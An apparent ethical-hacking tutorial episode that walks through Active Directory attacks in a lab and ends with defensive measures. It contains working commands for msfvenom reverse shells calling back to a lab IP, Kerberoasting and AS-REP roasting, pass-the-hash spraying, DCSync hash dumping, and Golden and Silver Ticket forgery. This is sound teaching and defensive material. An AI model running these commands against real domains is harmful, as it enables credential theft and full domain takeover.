Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

What will I learn
- What Active Directory is and why it is the single most valuable target in enterprise networks;
- AD enumeration -- mapping users, groups, computers, trusts, and GPOs with BloodHound and PowerView;
- Kerberoasting -- extracting service account password hashes without admin privileges;
- AS-REP Roasting -- attacking accounts that do not require pre-authentication;
- Pass-the-Hash and Pass-the-Ticket -- moving laterally without knowing plaintext passwords;
- DCSync -- extracting all domain password hashes by impersonating a domain controller;
- Golden and Silver Tickets -- forging Kerberos tickets for unlimited persistence;
- Defense: tiered administration, LAPS, Protected Users group, Credential Guard.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (Windows AD environment);
- Understanding of Windows privilege escalation from Episode 32;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate/Advanced
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels (this post)
Solutions to Episode 32 Exercises
Exercise 1: Three Windows privesc paths (abbreviated solutions).
# Path 1: Unquoted service path
# Service: VulnSvc -> C:\Program Files\Vuln App\service.exe (unquoted)
# Writable: C:\Program Files\Vuln App\
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o Vuln.exe
copy Vuln.exe "C:\Program Files\Vuln.exe"
sc stop VulnSvc && sc start VulnSvc
# Reverse shell as SYSTEM
# Path 2: AlwaysInstallElevated
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
# SYSTEM shell via MSI install
# Path 3: Writable service binary directory
sc stop TargetSvc
move "C:\Services\app.exe" "C:\Services\app.exe.bak"
copy payload.exe "C:\Services\app.exe"
sc start TargetSvc
# SYSTEM shell via replaced binary
Each exploits a different Windows misconfiguration. In real engagements, the unquoted service path is the most common find, AlwaysInstallElevated is the most devastating, and writable service directories require the most reconnaissance.
Exercise 2: WinPEAS top findings analysis.
Top 5 most useful WinPEAS findings:
1. Unquoted service paths (immediate exploit potential)
2. AlwaysInstallElevated registry keys
3. Stored credentials (cmdkey /list)
4. Modifiable services (weak DACLs)
5. Autologon credentials in registry
Immediately exploitable: #1, #2, #4 (if service runs as SYSTEM)
Informational: patch level, installed software, network config,
AV status, PowerShell history location
Exercise 3: PrintSpoofer mechanism.
PrintSpoofer exploits the Windows Print Spooler service's named
pipe impersonation. It creates a named pipe server, triggers the
Print Spooler to connect to it (via SpoolSS), and then
impersonates the connecting client's token -- which is SYSTEM.
Requires SeImpersonatePrivilege because the Windows API call
ImpersonateNamedPipeClient() checks for this privilege.
vs JuicyPotato: JuicyPotato abuses COM/DCOM (BITS, CLSID) and
requires a valid CLSID -- many CLSIDs were patched/removed in
Windows 10 1809+. PrintSpoofer uses Print Spooler instead, which
is enabled by default on all Windows versions and cannot be
easily disabled without breaking printing.
PrintSpoofer works on: Windows 10/11, Server 2016/2019/2022
JuicyPotato: broken on Windows 10 1809+ and Server 2019+
Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
You have SYSTEM on a Windows box. Congratulations -- you own one computer. In an enterprise with 5,000 workstations and 200 servers, that is 0.02% of the network. One machine. In a sea of machines.
This is where Active Directory changes the game entirely.
Episodes 31 and 32 were about going from a low-privilege shell to root/SYSTEM on a single machine. That was the vertical climb. Now we go horizontal and vertical simultaneously -- because compromising Active Directory means compromising EVERYTHING. Every user account. Every password hash. Every machine. Every service. Every Group Policy. The entire organization's identity infrastructure, in one shot.
Active Directory (AD) is the centralized identity and access management system used by 95%+ of enterprise networks worldwide. It handles authentication (who are you?), authorization (what can you do?), and policy enforcement (what rules apply?) for every Windows domain-joined machine in the organization. When an attacker compromises Active Directory, the engagement is over. You control the domain. You control the organization. You ARE the organization's IT department, except the real IT department doesn't know that yet.
In every pentest I've seen that targets an enterprise Windows environment, the kill chain follows the same pattern: initial access -> local privesc (episodes 31-32) -> AD enumeration -> domain escalation -> Domain Admin. The techniques in this episode are the bridge between "I own one box" and "I own the entire domain." This is where pentesting gets truly interesting ;-)
AD Fundamentals for Attackers
Before we attack it, you need to understand what Active Directory actually IS. Not from an admin's perspective (Microsoft has 4,000 pages of documentation for that) but from an attacker's perspective -- what matters, what's exploitable, and what leads to domain compromise.
Domain -- a logical grouping of objects (users, computers, groups, policies) that share a common directory database and security boundary. Most organizations have one domain. Large organizations might have multiple domains organized into a forest.
Domain Controller (DC) -- the server that hosts the AD database (ntds.dit) and handles all authentication. This is the crown jewel. Compromising a Domain Controller means you have every password hash for every account in the domain. On most networks there are 2-3 DCs for redundancy, and you only need to compromise ONE.
Forest -- one or more domains that share a common schema and trust relationships. If you compromise one domain in a forest, trust relationships can let you move to other domains.
Kerberos -- the authentication protocol that AD uses. Understanding Kerberos is not optional for AD attacks -- every major technique in this episode (Kerberoasting, AS-REP roasting, Golden Tickets, Silver Tickets, Pass-the-Ticket) exploits some aspect of how Kerberos works. We covered cryptography fundamentals in episode 9 -- Kerberos builds on symmetric key encryption, ticket-based authentication, and trusted third parties (the KDC on the Domain Controller).
LDAP -- the protocol used to query the AD database. LDAP is how you enumerate users, groups, computers, group memberships, and organizational units. Any authenticated domain user can query LDAP.
Group Policy Objects (GPOs) -- policies pushed from the Domain Controller to domain-joined machines. GPOs control everything from password policies to software installation to security settings. Misconfigured GPOs are a common escalation path.
Here is the critical insight that makes AD attacks so powerful: any authenticated domain user can query Active Directory. You do not need admin privileges. You do not need special permissions. A standard user account -- the one the help desk created for the intern last Monday -- is enough to enumerate every user, every group, every computer, every trust relationship, and every Group Policy in the entire domain. The information asymmetry is massive: defenders think standard users "can't see anything important," but standard users can see EVERYTHING about the directory structure. They just can't modify it.
AD Enumeration with BloodHound
BloodHound is the single most important Active Directory attack tool. Full stop. If you learn one AD tool from this episode, make it BloodHound.
BloodHound maps the relationships between users, groups, computers, sessions, and permissions. Then it uses graph theory to find attack paths -- chains of relationships that lead from your current position to Domain Admin. It finds paths that no human could manually discover: user A is admin on machine B where user C has an active session, and user C is a member of group D which has GenericWrite over user E who is a Domain Admin. That's a four-hop chain through unrelated objects. BloodHound finds it in seconds.
# On your attack machine: start BloodHound
sudo neo4j start
bloodhound &
# On the compromised machine: run SharpHound collector
# https://github.com/BloodHoundAD/SharpHound
.\SharpHound.exe --CollectionMethods All --Domain corp.local
# SharpHound generates a ZIP file with all the relationship data
# Transfer it to your attack machine
# Import into BloodHound via the Upload button
Once imported, ask BloodHound the questions that matter:
# Built-in queries:
"Find Shortest Paths to Domain Admins"
"Find Principals with DCSync Rights"
"Find Kerberoastable Accounts"
"Find AS-REP Roastable Accounts"
"Find Computers where Domain Admins have Sessions"
That last query -- "Find Computers where Domain Admins have Sessions" -- is gold. If a Domain Admin is logged into machine X, and you can get admin on machine X (through any local privesc technique from episodes 31-32), you can steal their Kerberos ticket or NTLM hash with mimikatz. Game over. From standard user to Domain Admin through one intermediate machine. BloodHound shows you exactly which machine to target.
PowerView -- Manual AD Enumeration
When you need surgical precision instead of BloodHound's broad sweep, PowerView gives you direct control over AD queries:
# Import PowerView (part of PowerSploit)
Import-Module .\PowerView.ps1
# Enumerate all domain users with descriptions
# (descriptions sometimes contain passwords -- yes, really)
Get-DomainUser | Select-Object samaccountname, description, memberof
# Find Domain Admins
Get-DomainGroupMember -Identity "Domain Admins"
# Find computers where current user has local admin access
Find-LocalAdminAccess
# Find where Domain Admins are logged in RIGHT NOW
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"
# Enumerate Group Policy Objects
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
# Find accessible network shares
Find-DomainShare -CheckShareAccess
# Enumerate trust relationships between domains
Get-DomainTrust
# Find service accounts with SPNs (Kerberoasting targets)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
The description field is one of those things that makes you want to laugh and cry at the same time. I have personally found domain admin passwords in user description fields. "Temp password: Summer2024!" sitting right there in a field that ANY authenticated user can read via LDAP. The description field is not hidden. It is not encrypted. It is not access-controlled. It is readable by literally everyone on the domain. And yet administrators use it as a notepad for credentials because... well, I honestly don't know why. But they do. Regularly.
Find-DomainUserLocation is the other command I want to highlight. It tells you exactly which machines have Domain Admin sessions active RIGHT NOW. Compromise that machine, steal the credentials from memory (mimikatz sekurlsa::logonpasswords from episode 32), and you have Domain Admin credentials. This is the single most common real-world AD attack path: find where the admin is logged in, compromise that machine, steal the credentials.
Kerberoasting
Kerberoasting exploits a fundamental property of how Kerberos handles service tickets. Here's the short version: any authenticated domain user can request a service ticket (TGS) for any service account that has a Service Principal Name (SPN) registered. That ticket is encrypted with the service account's NTLM password hash. You request the ticket, extract it, and crack it offline. The Domain Controller happily hands you the ticket -- this is how Kerberos is DESIGNED to work. It trusts that the encryption will protect the password. But if the password is weak, you crack it and now you have plaintext credentials for a service account.
# Using Rubeus (https://github.com/GhostPack/Rubeus)
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Or using GetUserSPNs.py from Impacket (from Linux attack box)
GetUserSPNs.py corp.local/jsmith:Password123 -request -outputfile hashes.txt
# Crack with hashcat (mode 13100 for Kerberos TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
Why this works in practice: service accounts are created once and forgotten. The MSSQL service account was set up in 2016 with the password SqlServer1! and nobody has changed it since. The backup service account has been running with Backup2019 for six years. Nobody rotates service account passwords because nobody wants to deal with the downtime of restarting the service with a new password. The service "just works" and nobody touches it.
The really devastating part: service accounts are frequently added to privileged groups because the admin who set them up couldn't figure out the correct minimum permissions. "The SQL service needs to access everything? Just put it in Domain Admins." This is a depressingly common misconfiguration. So you Kerberoast, crack a weak password, and discover that the service account you compromised is a member of Domain Admins. Standard user to Domain Admin. No exploits. No vulnerabilities. Just asking Kerberos for a ticket (which it is designed to give you) and cracking a weak password (which should never have been set in the first place).
The attack requires ZERO elevated privileges. Any domain user. That's it. This is by design -- Kerberos was not built to protect service account passwords from offline cracking. It was designed in the 1980s at MIT when password cracking was not a realistic threat. The protocol has not fundamentally changed since then.
AS-REP Roasting
AS-REP Roasting targets accounts that have the "Do not require Kerberos preauthentication" flag set. Normally when you request a TGT (Ticket Granting Ticket) from the KDC, you must prove you know the password first -- this is called preauthentication. It prevents offline cracking because the KDC won't give you anything unless you authenticate first.
But if preauthentication is disabled for an account, ANYONE can request an AS-REP for that account. Not "any authenticated user" -- literally anyone. No credentials required. The KDC returns an AS-REP encrypted with the account's password hash, and you crack it offline.
# From Linux with Impacket -- no credentials needed!
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -outputfile asrep.txt
# From Windows with Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt
# Crack with hashcat (mode 18200 for AS-REP)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
"Do not require Kerberos preauthentication" is sometimes enabled for legacy applications that cannot handle the preauthentication handshake. Old Linux systems using certain Kerberos libraries. Legacy Java applications. Software from the early 2000s that predates modern Kerberos implementations. The admin disables preauth because "the application stopped working" and never re-enables it when the application is updated or decommissioned.
Sound familiar? It is the same pattern from episode 6 (AI slop epidemic) and every episode since: a quick fix that "makes it work" without understanding the security implication. Disabling preauthentication removes the one safeguard that prevents offline password cracking for that account ;-)
Pass-the-Hash and Pass-the-Ticket
Once you have a hash (from mimikatz, from SAM extraction, from Kerberoasting, from DCSync), you do not necessarily need to crack it. Windows authentication accepts the hash directly in many scenarios:
# Pass-the-Hash with Impacket's psexec
psexec.py -hashes :NTLM_HASH corp.local/[email protected]
# Pass-the-Hash with evil-winrm
evil-winrm -i dc01.corp.local -u administrator -H NTLM_HASH
# Pass-the-Hash with crackmapexec (spray across multiple targets)
crackmapexec smb 10.10.10.0/24 -u administrator -H NTLM_HASH
Pass-the-Hash works because NTLM authentication uses the hash as the credential, not the plaintext password. The protocol sends a challenge, the client responds with HMAC(hash, challenge), and the server verifies it. At no point does the plaintext password need to exist. The hash IS the password as far as NTLM is concerned. This is a fundamental design decision in Windows authentication that has been exploited for over 20 years -- and it's not going away because NTLM is still required for backwards compatibility with legacy systems.
Pass-the-Ticket is the Kerberos equivalent. Instead of passing a hash, you steal a Kerberos TGT (Ticket Granting Ticket) from memory and import it into your own session:
# Steal tickets from memory with mimikatz (requires admin/SYSTEM)
mimikatz# sekurlsa::tickets /export
# Creates .kirbi files for each ticket in memory
# Import a stolen ticket with Rubeus
.\Rubeus.exe ptt /ticket:admin_tgt.kirbi
# Your session now uses the imported ticket
# Or from Linux with Impacket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass corp.local/[email protected]
Having said that, the distinction matters: PtH uses NTLM authentication (older, being phased out, but still widely supported). PtT uses Kerberos authentication (newer, preferred, harder to detect). In environments that have disabled NTLM (which is rare but increasing), only PtT works. In mixed environments, both work. The practical effect is the same -- you authenticate as someone else without knowing their password.
The crackmapexec command in the PtH example above is worth noting. It lets you spray a hash across an entire subnet. One compromised local admin hash, sprayed across 254 machines -- and on every machine that shares the same local admin password, you get access. This is exactly why LAPS (Local Admin Password Solution, mentioned in episode 32) matters so much. Without LAPS, one local admin hash = access to every machine.
DCSync -- Becoming the Domain Controller
DCSync is the endgame attack. If you have an account with Replicating Directory Changes and Replicating Directory Changes All privileges -- which Domain Admins have by default -- you can pretend to be a Domain Controller and request the password hash for ANY account in the domain.
This is not a vulnerability. This is how Active Directory replication works. When a company has multiple Domain Controllers, they need to synchronize their databases. One DC asks the other "give me the latest changes for all accounts" and the other DC responds with password hashes, group membership changes, GPO updates, everything. DCSync abuses this mechanism: your attack machine pretends to be a Domain Controller requesting replication.
# From Linux with Impacket -- dump everything
secretsdump.py corp.local/admin:[email protected]
# From Windows with mimikatz -- dump specific account
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
# Dump ALL accounts
mimikatz# lsadump::dcsync /domain:corp.local /all /csv
The secretsdump.py output is simultaneously beautiful and terrifying. Every account in the domain. Every NTLM hash. Service accounts, admin accounts, user accounts, machine accounts. Everything. In one command. I remember the first time I ran a succesful DCSync on a pentest -- the output just kept scrolling. Hundreds of accounts. Every password hash in the organization. The client had 2,300 employees and I had every single one of their password hashes in a text file.
The most important hash in that output is krbtgt -- the Kerberos Ticket Granting Ticket account. This account is created automatically when Active Directory is installed and is used to encrypt all TGTs in the domain. With the krbtgt hash, you can forge Golden Tickets. We'll get to that next.
Golden and Silver Tickets
A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket). Because you have the krbtgt hash from DCSync, you can create a TGT for any user -- including users that don't exist -- with any group memberships you want. The TGT is valid because it's encrypted with the krbtgt hash, and the Domain Controller has no way to tell it wasn't generated by the KDC.
# Create a Golden Ticket with mimikatz
mimikatz# kerberos::golden /user:fakeadmin /domain:corp.local \
/sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:KRBTGT_NTLM_HASH /ptt
# /user:fakeadmin -- this user does NOT need to exist in AD
# /sid:S-1-5-21-... -- the domain SID (from whoami /user)
# /krbtgt:HASH -- the krbtgt NTLM hash from DCSync
# /ptt -- pass the ticket directly into your session
# Now access the Domain Controller
dir \\dc01.corp.local\c$
# Access granted. You are "fakeadmin" with Domain Admin rights.
The terrifying part about Golden Tickets: they survive password resets. If the defender discovers you and resets every user password in the domain, your Golden Ticket still works. Because the Golden Ticket is encrypted with the krbtgt hash, not any user's hash. The only way to invalidate Golden Tickets is to reset the krbtgt password. And here's the kicker -- AD keeps the PREVIOUS krbtgt hash for backwards compatibility (because TGTs issued with the old hash need to keep working). So you must reset the krbtgt password TWICE to invalidate all Golden Tickets. Once to rotate, wait for all legitimate tickets to expire (default TGT lifetime is 10 hours, max renewable lifetime is 7 days), then reset AGAIN to eliminate the previous-hash window.
I've seen organizations that were compromised, ran full incident response, reset every password, rebuilt workstations, patched everything -- and the attacker walked back in with a Golden Ticket the next day. The IR team didn't reset the krbtgt password. The Golden Ticket was still valid. That's the kind of persistence this gives you.
A Silver Ticket is a forged service ticket (TGS) instead of a TGT. You use a service account's NTLM hash (from Kerberoasting or DCSync) to forge a ticket for that specific service. Less powerful than a Golden Ticket (only grants access to one service, not the entire domain) but significantly harder to detect because Silver Tickets never touch the Domain Controller -- the forged ticket goes directly to the target service.
# Silver Ticket for CIFS (file shares) on the DC
mimikatz# kerberos::golden /user:fakeuser /domain:corp.local \
/sid:S-1-5-21-... /target:dc01.corp.local \
/service:cifs /rc4:SERVICE_ACCOUNT_HASH /ptt
# Now you can access file shares on dc01 as fakeuser
dir \\dc01.corp.local\c$
Silver Tickets are used for targeted access when you want to stay quiet. Golden Tickets trigger events on the DC (because the TGT gets presented to the KDC). Silver Tickets bypass the DC entirely. The tradeoff is scope vs stealth: Golden = total domain access but more detectable. Silver = single service access but nearly invisible.
Defense: Protecting Active Directory
The attack techniques above exploit a combination of protocol design decisions (Kerberos), misconfigurations (weak service account passwords, preauth disabled), and insufficient monitoring. Defense requires addressing all three:
# 1. Implement tiered administration model
# Tier 0: Domain Controllers and AD management ONLY
# Tier 1: Servers and applications
# Tier 2: Workstations and end-user devices
# NEVER log into a Tier 2 machine with a Tier 0 account
# This breaks the "find where DA is logged in -> steal creds" chain
# 2. Protected Users group -- prevents credential caching
Add-ADGroupMember -Identity "Protected Users" -Members "admin-account"
# Members cannot: use NTLM auth, use DES/RC4 in Kerberos preauth,
# be delegated, have TGTs longer than 4 hours, cache credentials
# 3. LAPS -- unique local admin passwords per machine
# Prevents PtH lateral movement via shared local admin passwords
# 4. Reset krbtgt password TWICE (kills Golden Tickets)
# First reset: wait for TGT lifetime + renewal window to expire
# Second reset: eliminates the previous-hash compatibility window
# Tool: https://github.com/microsoft/New-KrbtgtKeys.ps1
# 5. Disable preauth-not-required flag on all accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
Set-ADAccountControl -DoesNotRequirePreAuth $false
# 6. Use Group Managed Service Accounts (gMSA)
# Automatically rotated 120-character passwords
# Immune to Kerberoasting (password is uncrackable)
New-ADServiceAccount -Name "SqlSvc" -DNSHostName "sql01.corp.local"
# 7. Monitor for AD attacks via Event IDs
# 4769 -- TGS requests (high volume from one source = Kerberoasting)
# 4768 -- TGT requests (preauth failure = AS-REP roasting attempt)
# 4662 -- Directory service access (DCSync detection)
# 4624 -- Logon events with unusual ticket lifetimes (Golden Ticket)
# 8. Enable Credential Guard (Windows 10 Enterprise / Server 2016+)
# Prevents mimikatz from reading credentials from LSASS memory
The tiered administration model is the most important defense on this list. The reason the "find DA session -> steal creds" attack works is because Domain Admins log into workstations and member servers. If they only ever logged into Domain Controllers (Tier 0) and dedicated admin workstations, their credentials would never be present in memory on a machine an attacker could reach from a standard user compromise. Tiered admin doesn't require any new software. It's a policy change. And it breaks the most common AD attack path.
Group Managed Service Accounts (gMSAs) are the other game-changer. They automatically rotate their passwords every 30 days (configurable) with 120-character randomly generated passwords. You cannot Kerberoast a gMSA because the password is effectively uncrackable. The tech has been available since Windows Server 2012 and it STILL isn't widely adopted because.. well, it requires effort to set up and the current service accounts "just work." That phrase keeps coming back, doesn't it.
The AI Slop Connection
Active Directory configuration is probably the most complex area in enterprise IT, and AI assistants are spectacularly bad at it. Common AI-generated AD misconfigurations I've seen recommended:
- Adding service accounts to Domain Admins "because the service needs access to everything"
- Disabling Kerberos pre-authentication "to fix authentication errors" for legacy apps
- Setting static weak passwords on service accounts and never documenting rotation procedures
- Recommending that Domain Admin accounts be used for daily work "for convenience"
- Suggesting
net localgroup administrators DOMAIN\user /addas the fix for every permission error - Disabling Protected Users group restrictions because "it breaks my application"
The complexity of AD means administrators increasingly ask AI for help configuring it. The AI generates configuraitons that work but are catastrophically insecure. A service account in Domain Admins with a weak password and disabled pre-authentication is a three-step path to total domain compromise: AS-REP roast or Kerberoast, crack the password, DCSync. All from an unprivileged domain user. The AI optimised for "make it work" and created a domain compromise waiting to happen. Episode 6 keeps being relevant.
The Bigger Picture
With this episode, the attack progression of this series is now clear. Episodes 1-28 got you access through web applications. Episodes 29-30 gave you network-level attacks. Episodes 31-32 escalated you from low-privilege to root/SYSTEM on individual machines. And now episode 33 takes you from a single compromised machine to owning the entire domain.
This is how real breaches work. Not "hacker uses zero-day exploit to compromise everything instantly" but a methodical chain: phish one user (episode 8), use their VPN credentials to access the network (episode 29), exploit a web application for initial access (episodes 12-20), escalate to SYSTEM (episodes 31-32), enumerate Active Directory (this episode), find a Kerberoastable service account in Domain Admins, crack it, DCSync, Golden Ticket, game over. Each step builds on the previous one. Each step uses techniques we've covered.
The next episodes will build on what we've covered here -- moving through networks once you have domain access, exploiting trust relationships between domains, and taking the same principles into cloud environments where Active Directory has evolved into Azure AD (now Entra ID) and the attack surface has expanded into entirely new territory.
Exercises
Exercise 1: Build a minimal AD lab: one Windows Server 2019/2022 as DC, two Windows 10 workstations joined to the domain. Create: a Domain Admin account, a service account with an SPN and weak password (for Kerberoasting), and a user with "Do not require Kerberos preauth" enabled (for AS-REP roasting). From a standard domain user on a workstation, perform both Kerberoasting and AS-REP roasting. Crack the hashes and document the full path from standard user to Domain Admin.
Exercise 2: Run BloodHound against your lab domain. Import the SharpHound data and answer: (a) what is the shortest path from your user to Domain Admin, (b) how many users have local admin on any machine, (c) are there any "derivative admin" paths (user A is admin on machine B where user C is logged in, and user C is Domain Admin). Screenshot the BloodHound graph for each finding.
Exercise 3: Perform a DCSync attack in your lab. Starting from a Domain Admin account, use secretsdump.py to extract the krbtgt hash. Then forge a Golden Ticket for a non-existent user with mimikatz. Verify: (a) you can access the DC with this forged ticket, (b) the forged user does not appear in AD when queried, (c) resetting the krbtgt password once does NOT invalidate the ticket, but resetting it twice does. Document the full attack chain and explain why two resets are needed.